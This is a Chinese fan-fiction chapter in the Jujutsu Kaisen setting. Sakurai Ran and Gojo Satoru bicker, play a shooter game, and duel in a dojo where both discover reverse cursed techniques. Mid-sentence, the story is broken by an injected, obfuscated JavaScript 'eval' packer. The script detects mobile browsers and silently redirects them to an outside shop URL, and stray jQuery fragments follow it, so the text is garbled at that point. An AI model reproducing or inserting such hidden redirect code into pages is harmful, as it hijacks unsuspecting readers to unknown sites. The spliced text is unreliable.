“你刚刚是不是偷偷说完坏话了?”樱井兰挑眉,我的直觉一向很准确。
“没有啊。”五条悟神情严肃否认。
脸上看不出半分心虚。
“我才不信。”
“爱信不信。”
两个人你一句我一句斗嘴走进了别墅。
樱井兰坐在柔软的米色沙发,舒服的躺了一会儿突然直起身。
女孩双手抱着手臂,语气很不爽的说,“都过去这么久了,你怎么不给我倒水喝?”
“啊?”
“算了。我自己拿。”樱井兰身体一动不动,眼睛带着杀气。
“好了好了,逗你玩的别又生气。你要喝汽水还是果汁?”五条悟举起双手表示投降。
“果汁味道的汽水。”
“……”五条悟立马从沙发上起身,几步路走到冰箱,翻了好几个抽屉。
面前突然放下了一个托盘,里面有一份两寸的草莓蛋糕和一杯冒着气泡的橙色液体。
五条悟也给自己准备了一份。
他边吃边抬起头盯着她,女孩先是拿起杯子喝了一小口橘子汽水,然后又喝了一口。
接着,一手托着盘子一手拿起勺子咬了一口蛋糕上的草莓,舌尖轻轻卷过白色的奶油。
五条悟吃完了自己手里的,就直直盯着樱井兰手里的。
又来。
樱井兰想无视掉,然而他的视线太有存在感,她无奈顺手举起手里的勺子.
“怎么了,你还想吃吗?”
男孩愣了一秒,就着女孩举起勺子的姿势迪叼走上面的蛋糕。
他嘴里边嚼边吐字不清说,“你的这份为什么比我的那一份好吃?”
“我怎么知道?”
樱井兰无语了,气的在桌子底下偷偷踩了他一脚。
然后准备缩回去的小腿被五条悟修长的双腿用力夹住不放,他又开始大声嚷嚷,“不公平。你为什么要踩我?我也要踩回去。”
就这困住女孩小腿的动作一动不动维持了十几秒,最后偷偷松开了。
啊,我到底是为什么要和这个幼稚的人较劲。
樱井兰放弃抵抗。
“打电动吗?”五条悟拿来两个崭新的游戏机,坐到樱井兰旁边。
“玩什么?”
“双人大作战。我带你玩。”五条悟得意地挑了挑眉,语气充满了自信。
“这是我最喜欢的一款射击游戏,肯定带你赢。”
三十分钟后。
樱井兰在游戏里大杀特杀,果断狙死对面几个集火的玩家,顺手救了被围困的可怜五条。
“你这家伙不是说带我赢吗,怎么比我还菜!”
樱井兰愤怒了,“走这边啊你去哪儿,那里是敌营。”
“才不要,我们直接去对面打爆他们。你是不是玩过这个,怎么打的这么厉害。”
“咳……也就玩过几年吧,顶级排行榜第七位Saki就是我的账号。”
“我就说嘛,老子天下第一,要不是才玩这个游戏几个月,肯定直接是排行榜第一。”
五条悟又露出一副欠揍的嘴脸。
“我们快点去敌营,直接打爆他们!”
“好好,世界上最厉害的五条大人,你去给我倒杯水。”樱井兰开始提要求。
“……”五条悟忍辱负重去了。
打打闹闹半天就过去了。
外面的天色渐渐黑了下来,别墅里一盏一盏的灯亮起来,照的黑夜如白昼一般。
樱井兰扔下游戏手柄,打了个大大的哈欠,然后把仿佛融化般的五条悟从沙发上拖起来,使劲摇晃。
“快起来。带我去客房,我要休息了。”
“不要嘛~”
五条悟眼睛困得半闭不闭,死死抓着沙发,仿佛和沙发面临着什么生离死别。
樱井兰来到二楼客房,里面已经被收拾好了,粉色碎花的床单上摆着几只巴掌大的兔子换装玩偶。
还蛮可爱的。没想到这家伙审美不错。
五条悟双手叉腰展示,满脸都是骄傲,“怎么样是不是超——级——棒——!,这可是我亲手布置的哦,你是不是很喜欢?”
“还行,有待进步。”
“哈?你在谦虚什么,我知道……”
“好了好了,早点睡觉吧,不是说明天约定了决斗吗。”
樱井兰开始赶人。双手勇力推着五条悟的后背到门口,“晚安。”
“晚安。”
晨光还未明朗的时候,在朦胧的天色里,伴随着钥匙转动的声音,一扇古朴厚重的大门被重重推开。
这里是五条家给五条专门修建的道场,五条悟从小到大都在这里训练。
道场的入口处挂着各式各样的冷兵器样式的咒具,等级都不低。
五条悟依旧拿起一把横刀,随手挥了挥感觉手感不错.
“你不选吗,这些都是咒具。可以随便使用的。”
真有钱。
咒具就这样随意摆着吗。
“不用。”
樱井兰手上凭空浮现一把长剑,剑身雕刻着凸起的花纹,顶端有一朵小小的樱花印记。
这就是之前砍特级咒灵用到过的家传咒具照影。
她对着空气也试着斩了两下,手感不错,“我还是用习惯的这把。”
“开始吧。”
两人目光交接,战意显现,长剑与横刀果断交锋几轮,竟是都不占上风。
“够了。”
樱井兰深吸一口气,闭眼定了定心神,似乎是在感受手中长剑的心意。
再睁眼,她眼底凌冽,骤然挥出一剑,“弦月剑法,长虹贯日!”
喂喂,来真的啊。
五条悟额头滴下一滴冷汗,狭小的道场里他避无可避,双手结印迅速打过去一发苍与长剑挥出的剑气撞在一起。
强大的引力与无下限的迟缓使得攻击明显打偏,没有碰到五条悟却把旁边的木板打出一个大洞。
而当巨大的白气浪席卷了整个道场时,五条悟发现苍的结构居然被这把剑切散。
引力居然消散了。
引力的反面是斥力。
这把剑攻击的时候,以剑刃为分界线,在事物内部制造新的空间强行分割。
这就是这把咒具的效果吗。
“你这把剑,蛮特别嘛,”五条悟神情惊讶,不愧是特级咒具。
这种感觉……
这种感觉。
他突然闭上眼,细细感受周围空气中咒力的流动。
樱井兰见状有些不解,但也缓缓收回剑,坐了下来。
“原来是这样,原来是这样。”
“我领悟到了,如果把咒力运行的轨迹反过来,就能在术式顺转的基础上发挥出术式反转!
就像你刚刚那把剑给我的感觉,哈哈哈哈今天我赢定了。”
五条悟睁大眼睛,就是这种美妙的感觉,他双手迅速结印,“术式反转,赫。”
赫是在苍的基础上发展
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916348|213333||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
而来的术式反转,效果也是相反的。
如果说苍是强行制造出一个黑洞,黑洞里有着无限的吸引力,那么赫就是制造出破坏巨大的排斥力。
这一击,很强!
理论上赫的攻击性远高于苍。
樱井兰侧身长立,脸色有些意外,却不见半分慌乱,“这也能让你学会,真聪明啊小悟。”
她再次拿起剑没有犹豫。
“术式反转,月蚀!”
骤然爆发的白色光芒再次吞没了红色的赫,五条悟张大嘴巴,这个月蚀居然把自己的攻击吞没了,太离谱了吧这种术式。
月蚀是在月巡的基础上发展的术式反转。
如果是月巡是以几何级数的效率来增幅力量的话,那月蚀就是以它的无限小的倒数的数值来不断削弱与吞噬敌人的力量。
即便是赫也在月蚀的作用下被吞噬了。
的确,术式反转很难,并不是所有咒术师都能做到。
特别是生得术式比较特殊复杂的,究其一生也不能学会术式的反转。
但是有的术式效果单一,反而更容易接触到术式反转的核心。
樱井兰和五条悟就是这样的存在。
无下限与望月。
听起来很简单的生得术式,在理论上与物理学和数学密切相连,因此反转的概念也就更加具体。
“你也会术式反转?可恶,居然比我先学会。不过,还没完呢。”五条悟撅着嘴,老老实实继续结印。
同时樱井兰也不断控制着自身的咒力输出。
打了会儿,两人见术式都不起作用,又提议放下武器只用格斗术。
近身缠斗了不知多少次,最后都气喘吁吁倒在地上。
樱井兰扯开五条的手臂,强撑着站起来。她深深吸了一口气,语气很平静:
“还要打下去吗?”
“不用了。”
五条悟垂下来的雪色发丝遮住了脸色复杂的神情,他语气很认真,“你,真的很强。”
“你也是。”
“但是我以后一定是最强。”
“不,我才是。”
与同期们的互相拜访暂且告一段落。
和舅舅一起送走了上周来拜访的同期三人后,樱井兰又恢复到一个人训练的日常。
早上起来先绕着院子里跑几圈,中午去找舅舅帮他看一些文件,下午继续去道场练剑。
不知道什么时候梧桐的叶子已经变黄,一片一片,如断翅的蝴蝶飘落在地上。
天气渐渐有些凉意。
樱井兰站在木质庭院的转角处凝神,瑟瑟的秋风吹过门前依旧高大粗壮的柳树,细细的一串一串叶子摆动,颜色却依然是深绿色,十分耐寒。
水面上飘着几片稀疏的荷叶,藕花白色的瓣早就掉光了,露出一截光秃秃的莲蓬。
一切看起来都和以前没什么差别。
但是她觉得脑子的想法又变了一个样。具体是哪里不一样,又说不上来。
夏天就要过去,夏天还会再回来。
五条悟觉得他会永远铭记这个盛夏吧,在这一年的时光里,他好像知道了所谓同伴的意义。
但是不止是他,这个夏天对于身处其中的每个人都是特别的。
那些共同创造的美好时光,都会被深深铭记,最后成为彼此脑海里共同拥有的美好回忆。
即便某天渐行渐远,也不会忘记曾经的情谊。
无论如何,请让不断前行的时间慢一点吧。